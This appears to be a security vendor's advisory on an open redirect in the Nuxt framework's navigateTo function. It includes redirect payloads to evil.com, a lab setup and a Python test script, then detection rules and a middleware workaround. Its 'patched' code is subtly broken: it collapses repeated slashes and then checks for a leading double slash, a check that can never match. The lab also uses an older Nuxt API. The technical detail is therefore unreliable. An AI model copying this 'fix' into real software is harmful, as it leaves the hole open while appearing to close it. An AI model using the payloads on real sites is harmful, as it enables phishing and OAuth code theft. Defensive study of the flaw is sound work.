CVE-2026-56326

Executive Summary

CVE-2026-56326 is a server-side open redirect vulnerability in the Nuxt framework (versions 4.0.0 before 4.4.7 and 3.x before 3.21.7). The flaw resides in the navigateTo function, which fails to properly validate path-normalized payloads such as /..//evil.com and /.//evil.com. Attackers can bypass external-host checks using path-normalization techniques, redirecting users to attacker-controlled sites via the Location header or meta-refresh. This enables phishing attacks and OAuth authorization-code theft.

Supply Chain & Package Security

Nuxt is distributed via npm (nuxt package). The vulnerability affects all applications using the affected versions. Developers must update their package.json dependency to ^4.4.7 or ^3.21.7 and run npm update or yarn upgrade. Supply chain integrity is critical; verify package signatures and checksums from the official Nuxt registry.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R)
• Scope (SC): Changed (C)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)
• Base Score: 6.1 (Medium)

The vulnerability requires user interaction (clicking a crafted link) but can lead to credential theft and session hijacking.

Deep Dive & Mechanics

The navigateTo function in Nuxt is used for client-side and server-side navigation. It includes a check to prevent open redirects by verifying that the target URL's host matches the application's host. However, the validation is performed on the raw input before path normalization.

Attackers exploit path normalization differences between the validation logic and the browser. For example:

• Input: /..//evil.com
• After normalization by the server: /evil.com (interpreted as a relative path)
• After normalization by the browser: //evil.com (interpreted as a protocol-relative URL pointing to evil.com)

The server-side check sees the path as relative (starting with /) and allows it, but the browser interprets the double slash as a protocol-relative redirect. This bypasses the host validation.

Vulnerable vs. Patched Code

Vulnerable Code (Nuxt < 4.4.7 / < 3.21.7):

// Simplified vulnerable navigateTo
function navigateTo(url) {
  if (url.startsWith('/')) {
    // Assume relative path, allow
    return { redirect: url };
  }
  // External host check
  const parsed = new URL(url, 'http://localhost');
  if (parsed.hostname !== allowedHost) {
    throw new Error('External redirect blocked');
  }
  return { redirect: url };
}

Patched Code (Nuxt >= 4.4.7 / >= 3.21.7):

// Patched navigateTo
function navigateTo(url) {
  // Normalize path before validation
  const normalized = url.replace(/\/+/g, '/');
  if (normalized.startsWith('/')) {
    // Check for protocol-relative patterns after normalization
    if (normalized.match(/^\/\/([^\/]+)/)) {
      throw new Error('External redirect blocked');
    }
    return { redirect: url };
  }
  const parsed = new URL(url, 'http://localhost');
  if (parsed.hostname !== allowedHost) {
    throw new Error('External redirect blocked');
  }
  return { redirect: url };
}

Exploitation & Lab Setup

Red Team

Exploit Payloads:

• https://victim.com/..//evil.com
• https://victim.com/.//evil.com
• https://victim.com/..%2f..%2fevil.com (URL-encoded variant)

Lab Setup:

1. Deploy a vulnerable Nuxt application (e.g., Nuxt 3.21.0).
2. Create a route that uses navigateTo with user input:

   // pages/redirect.vue
   export default {
     asyncData({ redirect, query }) {
       return redirect(query.to);
     }
   }
   

3. Craft a phishing link: http://localhost:3000/redirect?to=/..//evil.com
4. Observe the redirect to evil.com.

Exploit Script (Python):

import requests

target = "http://victim.com"
payload = "/..//evil.com"
url = f"{target}/redirect?to={payload}"
response = requests.get(url, allow_redirects=False)
print(f"Location header: {response.headers.get('Location')}")

Blue Team

Detection Steps:

1. Monitor server logs for URLs containing // after a single slash (e.g., /..// or /.//).
2. Check for abnormal redirect patterns in Location headers.
3. Use the detection rules below.

Indicators of Compromise (IOCs)

• URL Patterns: /..//, /.//, /..%2f..%2f
• Location Header: Points to external domains after a relative path redirect.
• User-Agent: No specific pattern, but phishing campaigns may use automated tools.
• Referer: Suspicious external domains.

Detection Engineering

YARA Rule

rule CVE_2026_56326_Open_Redirect {
    meta:
        description = "Detects path-normalized open redirect payloads in Nuxt"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-56326"
    strings:
        $payload1 = "/..//"
        $payload2 = "/.//"
        $payload3 = "/..%2f..%2f"
    condition:
        any of them
}

Sigma Rule

title: Nuxt Open Redirect via Path Normalization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-56326
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains:
            - '/..//'
            - '/.//'
            - '/..%2f..%2f'
    condition: selection
falsepositives:
    - Legitimate use of double slashes in paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56326 Nuxt Open Redirect"; flow:to_server; content:"/..//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-56326 Nuxt Open Redirect"; flow:to_server; content:"/.//"; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Nuxt 4.4.7 or 3.21.7.
2. Workaround: Implement a custom middleware to normalize and validate redirect URLs:

   // middleware/redirect-sanitizer.js
   export default defineNuxtRouteMiddleware((to, from) => {
     const url = to.query.to;
     if (url && (url.includes('/..//') || url.includes('/.//'))) {
       return abortNavigation('Invalid redirect');
     }
   });
   

3. Monitoring: Deploy the detection rules above.
4. User Education: Warn users about phishing links containing unusual path patterns.

Valters IT
Securing Digital Frontiers